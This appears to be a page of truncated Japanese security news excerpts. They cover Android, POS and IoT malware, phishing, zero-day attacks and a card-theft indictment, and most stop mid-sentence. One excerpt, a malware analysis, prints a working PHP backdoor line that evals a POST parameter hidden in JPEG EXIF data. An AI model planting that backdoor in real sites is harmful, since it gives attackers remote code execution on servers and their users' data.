多数のAndroid端末に影響するMediaTek製チップセットの脆弱性を突くコードが、1年近く前から出回っていたことが分かった。3月のAndroid月例セキュリティパッチでようやく修正されたが、実は昨年4月から開発者向けフォーラムの中で悪用コードが公開されていたという。 It was reported that the flaw -- dubbed MediaTek-su -- has been out in the wild for close to a year.（SC Magazine） この脆弱性（MediaTek-su）は、1年近くの間、in the wildで出回っていたことが報告された。 In the wildは「野生の中に」という言葉通り、もともとは野生生物が人間に飼育されずに自然の中で生息している状態を指す言葉。翻ってコンピュータセキュリティ業界では、ソフトウェアの脆弱

関連キーワード DDoS攻撃 | ボットネット | IoT（Internet of Things） | マルウェア Miraiの公開がさらなる脅威を招くきっかけとなる可能性が IoT（モノのインターネット）を狙ったボットネットを構成し、大規模な分散型サービス拒否（DDoS）攻撃を引き起こしたマルウェア「Mirai」のソースコードが公開された。コードから得られる教訓もあるが、専門家はそれ以上に、脅威の大きさを懸念している。 Miraiのコードは、ハッキングコミュニティーのWebサイト「Hack Forums」で、コードの作者とみられる「Anna-senpai」（アンナ先輩）というユーザーが公開した。Miraiが構成したボットネットは、情報セキュリティジャーナリストのブライアン・クレブス氏が運営するWebサイトをダウンさせたDDoS攻撃に使われた。その攻撃の規模は620Gbpsに達したという。

出版大手のKADOKAWAのサーバーが不正アクセスを受けた問題において、同社サーバーを経由して大手銀行を装うフィッシングメールが送られていることが判明した（関連記事：「KADOKAWA」のサーバーに再び不正アクセス、フィッシングの踏み台に）。 フィッシングメールに記載されているリンクを開くと、大手銀行を装う偽サイトに誘導される。偽サイトでは、ログインパスワードや暗証番号といった個人情報の入力を要求。入力すると、それらの情報は全て攻撃者に盗まれる。 KADOKAWAが同社サーバー経由でフィッシングメールが送信されていることに気付いたのは、2014年3月19日の16時ごろ。「利用者からの問い合わせで判明した」（同社広報）という。同日の16時半過ぎにはサーバーのメンテナンスという理由で、公式サイトを一旦閉鎖した。 その後、個人情報の流出やウイルス（マルウエア）感染を広げる恐れについて調査。そのよ

FTPにはハニーポットが効かない 前々回の記事でアンチウイルス製品はEメールにかなり有効であることがわかりました。その理由の1つとしてEメールにはハニーポットが有効であることが挙げられます。ハニーポットとは「おとり」を使って攻撃やマルウェアなどを見つけ出す手法です。Eメールの場合だとインターネット上に、マルウェアを収集するためのメールサーバを設置し、マルウェア付きのEメールを受け取り、そこで見つかったマルウェアに対するシグネチャを作成します。顧客のネットワークよりもハニーポットが先にマルウェアを見つければ顧客がそのマルウェアに感染するのを防ぐことができます。 しかし、この手法はFTPにはあまり有効ではありません。Eメールの場合は、攻撃者がプッシュ型でマルウェア付きのEメールを送ってきますが、FTPの場合はFTPクライアントがFTPサーバにファイルを取りにいくプル型です。攻撃者はFTPサーバ

印刷する メールで送る テキスト HTML 電子書籍 PDF ダウンロード テキスト 電子書籍 PDF クリップした記事をMyページから読むことができます EMCジャパンのRSA事業本部が2月6日に公開した「Monthly AFCC NEWS」2月号（Vol.78）によると、オンライン型POS（販売時点情報管理）端末を狙った“大変効率のいい仕事をする”新型のトロイの木馬「ChewBacca」が発見されたという。 ChewBaccaは、2013年12月に米国有名小売店の決済ネットワークから4000万人分ものクレジットカード情報が漏洩した事件で使われた。キーロギングやプロセスメモリスキャンにWindowsのAPIを使っており、Windowsベースのオンライン型POS端末を狙ったものとみられている。 制御、指示を出す“コマンド＆コントロールサーバ（C＆Cサーバ）”への通信には「Tor（The O

Flash Playerの脆弱性を狙う攻撃コード、ターゲットにはYahoo! JAPANやniftyの名も：最新版へのアップデートを強く推奨 米アドビシステムズは米国時間の2月4日、Adobe Flash Playerに深刻な脆弱性（APSB14-04）が存在することを明らかにし、セキュリティアップデートを緊急公開した。既にこの脆弱性を悪用する攻撃コードが確認されている。 米アドビシステムズは米国時間の2月4日、Adobe Flash Playerに深刻な脆弱性（APSB14-04）が存在することを明らかにし、セキュリティアップデートを緊急公開した。同社ダウンロードセンターなどでアップデートが可能だ。 アドビでは既にこの脆弱性を悪用した攻撃を確認。また、カスペルスキーラボによると、中には日本のWebサイトを標的とした攻撃も含まれていることから、同社やセキュリティ組織、サービス事業者などが速

米EMC傘下のRSA Securityは、小売店などのPOS端末に感染して決済カードや個人情報を盗み出すマルウェア「ChewBacca」が、米国をはじめ、ロシアやオーストラリアなど世界11カ国で見つかったと伝えた。 ChewBaccaはKaspersky Labが2013年12月に報告していたマルウェア。サーバのログインページに映画「スター・ウォーズ」に登場するチューバッカの画像を使っている。RSAは被害に遭った企業と接触し、これまでに判明した実態を1月30日のブログで報告した。 それによると、ChewBaccaはキーロガーやメモリスキャンの機能を持ったトロイの木馬で、POSシステムなどクレジットカード処理システムに照準を絞った設計になっている。メモリをスキャンしてカードの磁気情報を探し、クレジットカード番号が見つかると抽出してサーバに記録する。 通信に匿名化ツールのTorを利用するのが特

角川書店やアスキーメディアワークスなどのグループ企業を統括するKADOKAWAホールディングス（以下、KADOKAWA）のWebサイトが改ざんされた。改ざんは、Webサイトを閲覧した一般ユーザーを攻撃する狙いで、閲覧に使ったパソコン内のソフトウエアが古い場合、ハッカーが仕組んだ不正プログラムに攻撃され、オンラインバンキングのパスワードなどが盗み取られてしまう危険がある。 Webサイトが改ざんされていたのは、2014年1月7日の0時49分～1月8日の13時7分までの約1日半。この期間中に約1万のアクセスがあり、閲覧者がトロイの木馬に感染した可能性があるという。この事件ついて、KADOKAWA側が改ざんの事実を発表したのは、改ざんから9日以上が過ぎた1月16日の23時だった。なぜ発表が遅れたのだろうか。まずは、KADOKAWA広報へのインタビューを通して得た事実を基に、改ざんから発表までの時系

ラックは2014年1月23日、韓国グレテックの動画再生ソフト「GOM Player」（ゴムプレーヤー）のアップデートを実行すると、ウイルスに感染する恐れがあると発表した。国内の複数の企業で感染が確認され、外部のサーバーと不正な通信を行った形跡が見つかったという。 GOM Playerは、単体で様々なファイル形式の動画を再生できることで定評があるフリーソフト。今回のウイルスに感染させられる攻撃では、GOM Playerのアップデート機能が悪用された。 GOM Playerは、起動時に「app.gomlab.com」というドメインのアップデートサーバーにアクセスして、設定ファイルを取得する。この内容によって、アップデートサーバーにソフトを更新するファイルを要求する。攻撃者は、何らかの方法でアップデートサーバーから別のサーバーに誘導して、偽の設定ファイルをダウンロードさせ、ウイルスに感染させた（

今回は攻撃者による“だまし”に関するブログを中心に紹介する。最初は、JPEG画像のメタデータにマルウエアを仕込むケース。JPEG画像のメタデータにマルウエアを仕込んだPHPバックドアをスペインのドメイン（.es）で見つけたとして、ブログで注意を促している。同様の手口は、今年6月に米スキュリが報告している。 JPEGファイルのコードを見ると興味深い文字列が並んでおり、画像のEXIFデータと合致する。 JPEGファイルのコード 画像のEXIFデータ EXIFデータのModelo（モデル）情報とMarca（メーカー）情報に同じ文字列が確認できる。これを解読すると「if (isset($_POST["zz1"])) {eval(stripslashes($_POST["zz1"])); 」となり、POSTパラメータ「zz1」を通じて取得するいかなる数値も実行する。 コードの実行には、PHPの「ex

米Yahooは、同社の広告ネットワークを源とする欧州ユーザーへの攻撃を遮断したようだが、サイバー犯罪者は既に仮想通貨「Bitcoin」のマイニング（採掘）を行うマルウェアをばらまき、数百万人にものぼるユーザーに影響を与えた可能性がある。 セキュリティ企業Light Cyberによると、Yahooの欧州ユーザーを標的とする先週のマルウェア攻撃はBitcoinのマイニングネットワークを構築するための試みでもあったという。 現地時間1月3日、Yahoo.comを訪問したユーザーに対して、同社の広告ネットワーク経由で悪意のある広告が提供され始めた。こういった広告は、「Magnitude Exploit Kit」が仕込まれているウェブサイトに被害者を誘導するというものであった。Magnitude Exploit Kitには、最新のパッチが適用されていないJavaシステムを悪用するマルウェアが複数含ま

トレンドマイクロは2013年12月3日、Androidスマートフォンのセキュリティ脅威の動向を解説するセミナーを開催した。Androidアプリをインストールすることによる脅威が巧妙化しているうえに、容易に不正アプリを作成できる「ツールキット」がサイバー犯罪者が集う“裏社会”で急速に普及していると説明。対策の重要性を訴えた。 セミナーでは、トレンドマイクロで新しいセキュリティ脅威について調査・研究しているフォワードルッキングスレットリサーチ部門の林憲明シニアリサーチャーが、実際にツールキットを使った手口の実演を交えて説明した。悪用を防ぐためにツールキットの具体名は伏せられたが、ここでは「ツールX」と呼ぶ。 次のページ 正規アプリに“遠隔操作ウイルス”埋め込む この記事は会員登録で続きをご覧いただけます

2013年12月3日、トレンドマイクロは「スマートフォン向け脅威動向セミナー」を開催し、攻撃者がどのような手法でスマートフォンを狙うのかをデモを交えて解説した。本稿ではサイバー犯罪者が残した足跡から、犯罪の手口と対策までを考えるセミナーの様子をレポートしよう。 犯罪者が狙うのは「正規のマーケット」 トレンドマイクロのフォワードルッキングスレットリサーチ シニアリサーチャーの林 憲明氏は「犯罪者は正規マーケットを狙う」と述べる。例えばAndroidではグーグルが運営する「Google Play」が相当する。犯罪者は事業者であるグーグルへの信頼、およびAndroidに標準搭載されるGoogle Playの信頼に「ただ乗り」することを狙っているという。 スマートフォンアプリの正規マーケットでは、登録時、あるいは一定の間隔で審査が行われていることが多い。犯罪者はこれらの審査を回避するために、「機能

株式会社 日経BP 〒105-8308 東京都港区虎ノ門4丁目3番12号 →GoogleMapでみる ＜最寄り駅＞ 東京メトロ日比谷線「神谷町駅」4b出口より徒歩5分 東京メトロ南北線　「六本木一丁目駅」泉ガーデン出口より徒歩7分

印刷する メールで送る テキスト HTML 電子書籍 PDF ダウンロード テキスト 電子書籍 PDF クリップした記事をMyページから読むことができます 米FireEyeは米国時間11月8日に「Internet Explorer」に、修正パッチがあてられていない脆弱性、いわゆるゼロデイ脆弱性を狙った攻撃を明らかにした。そして米国時間11月10日に、その詳細を明らかにした。 日本時間11月14日には日本法人のファイア・アイが会見を開き、今回の攻撃が8～9月に発見された“Operation DeputyDog（直訳すると、代理犬作戦）”と関連性があることを示唆した。FireEyeでは、今回の攻撃を“Operation Ephemeral Hydra（直訳すると、はかないヒドラ作戦）”と呼んでおり、ファイア・アイ最高技術責任者（CTO）の三輪信雄氏は、今回が「攻撃の転換点になるかもしれない」と

米マカフィーは、Androidデバイス以外のモバイルとWindowsパソコンを対象にした脅威を含むAndroidアプリケーションを「Google Play」で確認したとして、ブログで注意を呼びかけた。このAPKファイルには、自身を複製してネットワーク経由で拡散するWindows向けのマルウエアが組み込まれている。 問題のマルウエアはWindowsパソコン上で自動実行する機能はないが、ユーザーがZip圧縮されたAPKファイルを開いてプログラムを起動することで不正アプリケーションを実行してしまう可能性がある。このWindowsマルウエアは、「KFC WOW＠25 Menu」アプリケーションがインストールされているすべてのAndroid端末に存在する。 KFC WOW＠25 Menuアプリケーションのアイコン 正規のAndroidアプリケーションがこのように不正なファイルを含んでいるケースは、開

Expiroは32ビットファイルと64ビットファイルの両方に感染できる機能を持つ。かつての「Conficker」ワームのような猛威を振るう恐れもあるとセキュリティ企業は予想する。 32ビットファイルだけでなく、64ビットファイルにも感染する新手のウイルス「Expiro」が感染を広げているという。SymantecやESETがブログで伝えた。 それによると、これまでのファイルに感染するウイルスがほぼ例外なく32ビットファイルを標的としていたのに対し、今回見つかったExpiroの亜種は、32ビットファイルと64ビットファイルの両方に感染するという。 Symantecによれば、ExpiroはIntel 386（32ビット）、Intel 64（64ビット）、AMD64（64ビット）の各アーキテクチャに感染できる機能を持つ。しかも、32ビット版と64ビット版の間で相互に通用するクロスプラットフォーム性

訴追された男5人は米NASDAQや7-Elevenといった大手企業のネットワークにSQLインジェクション攻撃を仕掛けて不正侵入し、マルウェアを仕込んで情報を盗んだとされる。 米司法省は7月25日、世界の大手企業のネットワークに侵入して1億6000万件あまりのクレジットカード情報を盗んでいた男5人を、不正アクセスなどの容疑で訴追したと発表した。 被害に遭った企業の中には、米NASDAQ、7-Eleven、JetBlue、Dow Jonesといった大手企業や組織、Visa（ヨルダン）やDiners（シンガポール）などの主要クレジットカード会社が含まれる。被害総額はこのうちの3社だけで3億ドルに上るという。 訴追されたのは、ロシア人とウクライナ人の26歳から32歳の男5人。それぞれに役割分担があり、まずロシアの男2人が企業のネットワークに不正アクセスを確立し、3人目の男がそのネットワークから情報